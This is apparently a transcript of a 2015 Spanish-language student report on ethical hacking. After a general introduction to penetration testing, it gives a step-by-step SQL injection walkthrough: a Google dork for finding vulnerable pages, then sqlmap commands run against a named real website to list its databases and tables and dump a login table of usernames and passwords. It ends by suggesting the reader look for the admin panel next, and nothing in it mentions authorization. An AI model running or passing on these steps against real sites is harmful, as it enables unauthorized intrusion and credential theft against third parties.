hackweb

17
UNIVERSIDAD TECNOLÓGICA DEL ESTADO DE ZACATECAS UNIDAD ACADÉMICA DE PINOS MATERIA: SEGURIDAD DE LA INFORMACIÓN TEMA: INTRODUCCION A LA SEGURIDAD DE LA INFORMACIÓN PROFESOR: IDS. LUCIA GONZALEZ HERNANDEZ ALUMNO: TSU. CARLOS EDUARDO SÁNCHEZ MARTÍNEZ TSU. IVAN MARTÍNEZ GARCÍA CARRERA: TECNOLOGÍAS DE LA INFORMACIÓN Y LA COMUNICACIÓN ÁREA SISTEMAS INFORMÁTICOS GRADO Y GRUPO: 10° CUATRIMESTRE GRUPO “B” PINOS ZACATECAS, 14 DE SEPTIÉMBRE DE 2015

Upload: carlos-eduardo-sanchez-martinez

Post on 16-Apr-2017

171 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: HackWeb

UNIVERSIDAD TECNOLÓGICA DEL ESTADO DE ZACATECAS

UNIDAD ACADÉMICA DE PINOS

MATERIA:

SEGURIDAD DE LA INFORMACIÓN

TEMA:

INTRODUCCION A LA SEGURIDAD DE LA INFORMACIÓN

PROFESOR:

IDS. LUCIA GONZALEZ HERNANDEZ

ALUMNO:

TSU. CARLOS EDUARDO SÁNCHEZ MARTÍNEZ

TSU. IVAN MARTÍNEZ GARCÍA

CARRERA:

TECNOLOGÍAS DE LA INFORMACIÓN Y LA COMUNICACIÓN ÁREA

SISTEMAS INFORMÁTICOS

GRADO Y GRUPO:

10° CUATRIMESTRE GRUPO “B”

PINOS ZACATECAS, 14 DE SEPTIÉMBRE DE 2015

Page 2: HackWeb

REPORTE DE COMO BURLAR LA SEGURIDAD DE UN SITIO WEB.

INTRODUCCION.

¿Qué es el Ethical Hacking?

Las computadoras en todo el mundo son susceptibles de ser atacadas por

crackers o hackers capaces de comprometer los sistemas informáticos y robar

información valiosa, o bien borrar una gran parte de ella. Esta situación hace

imprescindible conocer si estos sistemas y redes de datos están protegidos de

cualquier tipo de intrusiones. Por tanto el objetivo fundamental del Ethical Hacking

(hackeo ético) es explotar las vulnerabilidades existentes en el sistema de

"interés" valiéndose de test de intrusión, que verifican y evalúan la seguridad física

y lógica de los sistemas de información, redes de computadoras, aplicaciones

web, bases de datos, servidores, etc. Con la intención de ganar acceso y

"demostrar" que un sistema es vulnerable, esta información es de gran ayuda a las

organizaciones al momento de tomar las medidas preventivas en contra de

posibles ataques malintencionados. Dicho lo anterior, el servicio de Ethical

Hacking consiste en la simulación de posibles escenarios donde se reproducen

ataques de manera controlada, así como actividades propias de los delincuentes

cibernéticos, esta forma de actuar tiene su justificación en la idea de que: "Para

atrapar a un intruso, primero debes pensar como intruso" Para garantizar la

seguridad informática se requiere de un conjunto de sistemas, métodos y

herramientas destinados a proteger la información, es aquí donde entran los

servicios del Ethical Hacking , la cual es una disciplina de la seguridad informática

que echa mano de una gran variedad de métodos para realizar sus pruebas, estos

métodos incluyen tácticas de ingeniería social, uso de herramientas de hacking ,

uso de Metasploits que explotan vulnerabilidades conocidas, en fin son válidas

Page 3: HackWeb

todas las tácticas que conlleven a vulnerar la seguridad y entrar a las áreas

críticas de las organizaciones.

¿Quiénes son los Ethical Hackers?

Los hackers éticos también conocidos como Pen-Tester, como su nombre lo dice,

realizan "Pruebas de Penetración". Un hacker ético es un experto en

computadoras y redes de datos, su función es atacar los sistemas de seguridad en

nombre de sus dueños, con la intención de buscar y encontrar vulnerabilidades

que un hacker malicioso podría explotar. Para probar los sistemas de seguridad,

los Ethical Hackers (hackers éticos) utilizan los mismos métodos que sus

homólogos, pero se limitan únicamente a reportarlos en lugar de sacar ventaja de

ellos. El Ethical Hacking también es conocido como penetration testing (pruebas

de penetración) o intrusión testing (pruebas de intrusión). Los individuos que

realizan estas actividades a veces son denominados "hackers de sombrero

blanco", este término proviene de las antiguas películas del Oeste, en donde el

"bueno" siempre llevaba un sombrero blanco y el "malo" un sombrero negro.

¿Por qué hacer un Ethical Hacking?

A través del Ethical Hacking (es posible detectar el nivel de seguridad interno y

externo de los sistemas de información de una organización, esto se logra

determinando el grado de acceso que tendría un atacante con intenciones

maliciosas a los sistemas informáticos con información crítica. Las pruebas de

penetración son un paso previo a los análisis de fallas de seguridad o riesgos para

una organización. La diferencia con un análisis de vulnerabilidades, es que las

pruebas de penetración se enfocan en comprobar y clasificar vulnerabilidades y no

Page 4: HackWeb

tanto en el impacto que éstas tengan sobre la organización. Estas pruebas dejan

al descubierto las vulnerabilidades que pudieran ser vistas y explotadas por

individuos no autorizados y ajenos a la información como: crackers, hackers,

ladrones, ex-empleados, empleados actuales disgustados, competidores, etc. Las

pruebas de penetración, están totalmente relacionadas con el tipo de información

que cada organización maneja, por tanto según la información que se desee

proteger, se determina la estructura y las herramientas de seguridad pero nunca a

la inversa.

Estas pruebas de penetración permiten:

Evaluar vulnerabilidades a través de la identificación de debilidades

provocadas por una mala configuración de las aplicaciones.

Analizar y categorizar las debilidades explotables, con base al impacto

potencial y la posibilidad de que la amenaza se convierta en realidad.

Proveer recomendaciones en base a las prioridades de la organización para

mitigar y eliminar las vulnerabilidades y así reducir el riesgo de ocurrencia

de un evento desfavorable.

La realización de las pruebas de penetración está basada en las siguientes fases.

1. Recopilación de información

2. Descripción de la red

3. Exploración de los sistemas

4. Extracción de información

5. Acceso no autorizado a información sensible o crítica

6. Auditoría de las aplicaciones web

7. Elaboración de informes

8. Informe final

Page 5: HackWeb

Tipos de Ethical Hacking

Las pruebas de penetración se enfocan principalmente en las siguientes

perspectivas:

Pruebas de penetración con objetivo: se buscan las vulnerabilidades en

partes específicas de los sistemas informáticos críticos de la organización.

Pruebas de penetración sin objetivo: consisten en examinar la totalidad de

los componentes de los sistemas informáticos pertenecientes a la

organización. Este tipo de pruebas suelen ser las más laboriosas.

Pruebas de penetración a ciegas: en estas pruebas sólo se emplea la

información pública disponible sobre la organización.

Pruebas de penetración informadas: aquí se utiliza la información privada,

otorgada por la organización acerca de sus sistemas informáticos. En este

tipo de pruebas se trata de simular ataques realizados por individuos

internos de la organización que tienen determinado acceso a información

privilegiada.

Pruebas de penetración externas: son realizas desde lugares externos a las

instalaciones de la organización. Su objetivo es evaluar los mecanismos

perimetrales de seguridad informática de la organización.

Pruebas de penetración internas: son realizadas dentro de las instalaciones

de la organización con el objetivo de evaluar las políticas y mecanismos

internos de seguridad de la organización.

A su vez, cada tipo de pruebas descrito anteriormente se puede ubicar en dos

modalidades dependiendo si el desarrollo de las pruebas es de conocimiento del

personal informático o no. Red Teaming: Es una prueba encubierta, es decir que

sólo un grupo selecto de ejecutivos sabe de ella. En esta modalidad son válidas

las técnicas de "Ingeniería Social" para obtener información que permita realizar

ataque. Ésta obviamente es más real y evita se realicen cambios de última hora

que hagan pensar que hay un mayor nivel de seguridad en la organización. Blue

Page 6: HackWeb

Teaming: El personal de informática conoce sobre las pruebas. Esta modalidad se

aplica cuando las medidas tomadas por el personal de seguridad de las

organizaciones ante un evento considerado como incidente, repercuten en la

continuidad de las operaciones críticas de la organización, por ello es conveniente

alertar al personal para evitar situaciones de pánico y fallas en la continuidad del

negocio.

¿Cuáles son los beneficios de un Ethical hacking?

Al finalizar el Ethical Hacking se entrega el resultado al cliente mediante un

documento que contiene a grandes rasgos una lista detallada de las

vulnerabilidades encontradas y verificables. También se provee una lista de

recomendaciones para que sean aplicadas por los responsables de seguridad en

la organización. Este documento se compone de un informe técnico y uno

ejecutivo para que los empleados técnicos y administrativos puedan entender y

apreciar los riesgos potenciales sobre el negocio. Los beneficios que las

organizaciones adquieren con la realización de un Ethical Hacking son muchos, de

manera muy general los más importantes son:

Ofrecer un panorama acerca de las vulnerabilidades halladas en los

sistemas de información, lo cual es de gran ayuda al momento de aplicar

medidas correctivas.

Deja al descubierto configuraciones no adecuadas en las aplicaciones

instaladas en los sistemas (equipos de cómputo, switches, routers,

firewalls) que pudieran desencadenar problemas de seguridad en las

organizaciones.

Identificar sistemas que son vulnerables a causa de la falta de

actualizaciones.

Disminuir tiempo y esfuerzos requeridos para afrontar situaciones adversas

en la organización.

Page 7: HackWeb

Los beneficios no sólo se ven reflejados en la parte técnica y operacional de la

organización, sino en organizaciones o empresas donde sus actividades

repercuten de forma directa en el cliente, los beneficios reflejan una buena imagen

y reputación corporativa que en ocasiones es más valiosa que las mismas

pérdidas económicas, por ejemplo los bancos, a quienes les importa demasiado la

imagen que ofrecen al cliente, en consecuencia invierten mucho dinero en

mecanismos de seguridad para minimizar las pérdidas financieras. Es muy

importante tener en cuenta los aspectos legales en la realización de un Ethical

hacking, los cuales deben tenerse muy presentes tanto por las organizaciones que

prestan el servicio como por quienes lo contratan. Estos aspectos abarcan la

confidencialidad, es decir que a la información que los "Pen tester" encuentren no

se le dé un mal manejo o uso más allá de los fines previstos por las pruebas. Se

deben indicar claramente en el contrato los objetivos específicos de las pruebas

de penetración para evitar futuros malos entendidos. En lo que respeta a la

organización que contrata el servicio, ésta debe garantizar que la información que

se provee al "Pen Tester" es fidedigna para que los resultados sean congruentes y

certeros. Sin embargo dada la naturaleza de las pruebas de penetración es

limitada la posibilidad de probar toda la gama de técnicas y mecanismos que los

crackers o hackers pudieran emplear para vulnerar un sistema informático y en

ocasiones obtener "falsos positivos", es decir resultados que indiquen una

vulnerabilidad que realmente no es explotable.

http://www.dragonjar.org/como-realizar-un-pentest.xhtml

Page 8: HackWeb

Google dorks

Muchos hackers utilizan Google para encontrar sitios o páginas Web vulnerables,

y luego utilizan estas vulnerabilidades para hackearlas.

Google docks son combinaciones de operadores de búsqueda especiales que se

utilizan para extraer información valiosa o sensible desde Google. Es un término

despectivo ya que dar en inglés significa "idiota". Además se denomina

"googledork" a una persona inepta o tonta según lo revelado por Google.

¿De qué forma revela Google que una persona es inepta o idiota? Por ejemplo,

existen idiotas que dejan planillas de cálculo o documentos de Word que incluyen

credenciales de cuentas de usuario con nombre y contraseña dentro de directorios

Web que son indexados por Google. Aunque parezca mentira no lo es.

¿Pero cómo sucede esto? Simple, los robots de Google que indexan contenido (es

lo que hace que un sitio sea posicionado de acuerdo a las palabras clave que se

encuentran) son capaces de interpretar todo tipo de archivos, no sólo páginas

Web. Por lo tanto, si un idiota deja un archivo con información sensible en un

directorio Web que permite ser listado, será accedido e indexado por los robots de

Google. La cuestión de fondo es, ¿por qué alguien querría dejar un archivo con

información sensible dentro de un directorio que es accesible públicamente a

través del protocolo HTTP? Tal vez porque es estúpido, o más bien se trata de un

"googledork".

Page 9: HackWeb

Inyección SQL

Es un método de infiltración de código intruso que se vale de una vulnerabilidad

informática presente en una aplicación en el nivel de validación de las entradas

para realizar consultas a una base de datos.

El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las

variables utilizadas en un programa que contiene, o bien genera, código SQL. Es,

de hecho, un error de una clase más general de vulnerabilidades que puede

ocurrir en cualquier lenguaje de programación o script que esté embebido dentro

de otro.

Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al

método de infiltración, al hecho de incrustar código SQL intruso y a la porción de

código incrustado.

Existen diferentes tipos de inyección SQL nosotros ahorita veremos la más básica

y sencilla de todas.

Page 10: HackWeb

PASOS PARA BURLAS LA SEGURIDAD DE UN SITIO WEB

Paso1.- Buscando un sitio vulnerable

Para realizar esta actividad, utilizaremos Ubuntu 15.04, ya que incluye ciertos

materiales que mencionaremos más adelante.

Para encontrar un sitio vulnerable podemos usar algunos dorks de google, por

ejemplo el siguiente:

inurl=.php?id=

Para saber si es vulnerable debemos generar un error en la aplicación web para

ver si maneja correctamente los valores de la variable que se le dan, por ejemplo

agregar una simple ' en la url después del signo '=' es una forma de tratar de

generar un error.

Por ejemplo si la url es:

http://www.educacionit.com.ar/reenviar.php?id=123

Le agregamos la ':

http://www.educacionit.com.ar/reenviar.php?id='

A continuación nos saldrá un error como este:

Page 11: HackWeb

Paso 2.- Comenzando el hackeo, para eso vamos a utilizar la herramienta

sqlmap.

Para poder ejecutar sqlmap necesitan tener instalado Python, ya que es un script

en este lenguaje.

Ahora vamos a nuestra Shell y ubicamos la carpeta donde tengamos sqlmap y lo

ejecutamos, en mi caso sería:

Cd Documentos

Cd sqlmap

Python sqlmap.py

Ahora nos aparecerá algo como esto:

Page 12: HackWeb

Si te salió esto quiere decir que vas bien.

Ahora explicando un poco las variables que se usan:

-u [URL a la que se le hará la inyección] (URL Correcta)

-p [Parámetro de la url que inyectaremos]

--dbs [Mostrara todas las bases de datos de la página]

-D [Seteas el nombre de la base de datos a la que harás la consulta]

--tables [Mostrara todas las tablas de la Base de datos seleccionada]

-T [Conexión a una tabla especifica]

--columns [Mostrara los nombre de las columnas de la tabla seleccionada]

--dump [Hace un volcado de datos de ficheros .csv de la tabla seleccionada

(Mostrara la información de las tablas)]

Page 13: HackWeb

--dbms [Con este parámetro podemos seleccionar el motor de base de datos que

usa para hacer las pruebas de errores sobre un motor de base de datos

especifico, ej. SQL, MySQL, ORACLE]

Si quieren ver los otros parámetros revisen la documentación de sqlmap, por lo

pronto empezaremos ya escribiendo esto:

./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" --dbs --

dbms=mysql

Nos dará como resultado esto:

Page 14: HackWeb

Como ven aquí nos muestra que el parámetro 'id' efectivamente si es inyectable y

además nos pregunta que si queremos seguir haciendo más pruebas, le decimos

que no escribiendo 'n' y mostrara lo siguiente:

Y nos muestra dos bases de datos:

Information_schema [Todos los motores de SQL la traen, asi que la ignoraremos]

sebadivi_educacionit

Para ver que tiene la base de datos de 'sebadivi_educacionit', haremos lo

siguiente:

Page 15: HackWeb

./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D

sebadivi_educacionit –tables

Al finalizar el escaneo mostrara esto:

Y así como parece, esas son las tablas de la base de datos, vamos a explorarlas,

por ejemplo la que dice 'login'.

./sqlmap.py -u "http://www.educacionit.com.ar/reenviar.php?id=123" -D

sebadivi_educacionit -T login –columns

Como ven nos muestra 4 columnas:

Page 16: HackWeb

1. pagina

2. pass

3. permisos

4. user

Y sus tipos de datos que son, en este caso todos son varchar de diferentes

longitudes, veamos los registros.

Page 17: HackWeb

Y ahí lo tenemos usuarios y contraseñas del sitio, lo siguiente es buscar el panel

de administración. Para poder conectarse al sitio.

Conclusiones:

Para finalizar, basta con exhortar a la comunidad de desarrolladores a

que implementen la máxima seguridad en sus proyectos, ya que como

vimos, las vulnerabilidades son muy fáciles de explotar y hasta llegar

al punto de perder toda su información y control del mismo.